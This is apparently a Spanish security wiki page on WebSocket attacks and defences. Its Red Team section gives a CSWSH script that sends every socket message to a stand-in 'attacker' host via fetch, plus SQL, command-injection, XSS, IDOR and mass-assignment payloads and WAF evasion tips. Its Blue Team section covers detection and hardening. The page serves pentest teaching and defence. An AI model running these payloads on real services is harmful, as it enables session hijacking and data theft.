WebSockets
Canal full-duplex sobre una única conexión TCP, iniciado con un handshake HTTP (Upgrade: websocket) y luego mantenido con tramas binarias/texto. Rompe el modelo petición-respuesta: el servidor empuja datos, no hay reenvío automático de cookies por cada mensaje y muchos controles pensados para HTTP (WAF, autorización por endpoint, CSRF tokens) no aplican a los mensajes una vez abierto el túnel.
Modelo de amenaza
Sección titulada «Modelo de amenaza»El punto débil casi nunca es el protocolo, sino qué se confía del handshake y qué se valida por mensaje. Si la autorización se comprueba solo al abrir la conexión y no en cada acción, cualquiera que logre abrir el socket manda. Si el Origin no se valida, una web de terceros abre el socket con las cookies de la víctima (CSWSH). Y como los mensajes suelen ser JSON que acaba en una query o en eval, los mismos bugs de inyección de siempre reaparecen sin WAF delante.
Anatomía del handshake
Sección titulada «Anatomía del handshake»GET /chat HTTP/1.1Host: targetUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==Sec-WebSocket-Version: 13Origin: https://targetCookie: session=...Respuesta 101 Switching Protocols + Sec-WebSocket-Accept. A partir de aquí el tráfico son tramas, no HTTP. Las cookies solo viajan en este request inicial.
Red Team
Sección titulada «Red Team»Descubrimiento
Sección titulada «Descubrimiento»- Busca
new WebSocket(,ws://,wss://,socket.io,SignalR,stompen el JS de la aplicación. - DevTools → pestaña Network → filtro WS → pestaña Messages para ver el tráfico en claro.
- Proxy: Burp intercepta y permite reenviar/editar mensajes WS desde el WebSocket history y repetirlos.
Reproducir e inyectar sin herramientas gráficas, con websocat:
websocat -H='Cookie: session=ROBADA' wss://target/chat# escribe mensajes por stdin y lee las respuestas por stdout{"action":"getMessages","room":"1"}{"action":"getMessages","room":"../admin"}Vectores sobre el contenido del mensaje (el servidor suele tratarlos como confiables):
- Inyección en back:
{"q":"' OR 1=1-- -"}→ SQLi;{"cmd":"id"}→ command injection si el back lo ejecuta. - XSS almacenado por WS: un mensaje de chat
<img src=x onerror=...>que otros clientes renderizan sin escapar. - IDOR por mensaje: cambiar
userId/roomId/orderIden cada acción; la autorización rara vez se revalida por mensaje. - Mass assignment: añadir
"role":"admin"a un payload de actualización de perfil.
CSWSH (Cross-Site WebSocket Hijacking)
Sección titulada «CSWSH (Cross-Site WebSocket Hijacking)»Si el servidor no valida Origin y la sesión va por cookie, una página atacante abre el socket con las credenciales de la víctima:
<script> var ws = new WebSocket("wss://target/chat"); ws.onopen = () => ws.send('{"action":"getMessages"}'); ws.onmessage = e => fetch("https://attacker/x?d="+encodeURIComponent(e.data));</script>Equivale a un CSRF con lectura de respuesta: exfiltras todo lo que el socket devuelva.
Evasión
Sección titulada «Evasión»- El WAF suele inspeccionar el handshake pero no las tramas posteriores → mete el payload en los mensajes, no en la URL.
- Fragmenta el mensaje en varias tramas (continuation frames) si hay inspección parcial.
Sec-WebSocket-Protocola veces enruta a backends distintos con validación dispar.
Herramientas
Sección titulada «Herramientas»- websocat — cliente CLI, tunneling, scripting.
- Burp Suite — intercept/replay de WS, extensión WebSocket Turbo Intruder para fuzzing.
- wsrepl, STEWS — fuzzing y descubrimiento específico de WS.
Impacto
Sección titulada «Impacto»Robo de sesiones y mensajes (CSWSH), RCE/SQLi sin WAF, escalada por IDOR/mass assignment, XSS propagado a todos los conectados.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Mensajes WS con sintaxis SQL/comandos/HTML en los logs de aplicación.
- Handshakes con
Originausente o de dominios no esperados. - Un mismo socket accediendo a identificadores de muchos usuarios distintos.
Telemetría
Sección titulada «Telemetría»Loguea el Origin, el usuario autenticado y la acción de cada mensaje, no solo la apertura. Correlaciona socket ↔ identidad.
Hardening
Sección titulada «Hardening»- Valida
Originen el handshake contra una allowlist estricta. - Autoriza cada mensaje, no solo la conexión; no confíes en IDs que manda el cliente.
- Usa
wss://siempre (TLS); tokens de sesión con caducidad corta y re-check. - Trata el contenido de los mensajes como input no confiable: valida esquema (JSON schema), escapa en salida, parametriza queries.
- Rate-limit por socket y límites de tamaño/tasa de trama.
Respuesta
Sección titulada «Respuesta»Cierra los sockets del atacante, invalida sesiones afectadas, revisa qué datos se exfiltraron por el canal.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- CSWSH (Cross-Site WebSocket Hijacking) — patrones por falta de validación de
Origindocumentados por PortSwigger; suelen reportarse como hallazgos de bug bounty más que como un CVE concreto. - Slack / cadenas de chat — históricamente, XSS propagado vía mensajes renderizados sin sanitizar.
- Socket.IO / engine.io — bugs de parsing y falta de validación de origen en integraciones mal configuradas.
- PortSwigger Web Security Academy documenta labs reproducibles de CSWSH y de inyección por mensaje.
Checklist de prueba
Sección titulada «Checklist de prueba»- ¿El handshake valida
Origincontra allowlist? (prueba abrir desde otro origen) - ¿Se puede reabrir el socket con cookies de víctima desde una página de terceros? (CSWSH)
- ¿La autorización se revalida en cada mensaje o solo al conectar?
- ¿Los IDs del mensaje (userId, roomId) son manipulables? (IDOR/BFLA)
- ¿El contenido del mensaje llega a SQL, comandos, plantillas o HTML sin sanitizar?
- ¿Se puede añadir campos no previstos al payload? (mass assignment)
- ¿Hay rate-limiting por socket?
- ¿El transporte es
wss://(TLS) en todo el flujo?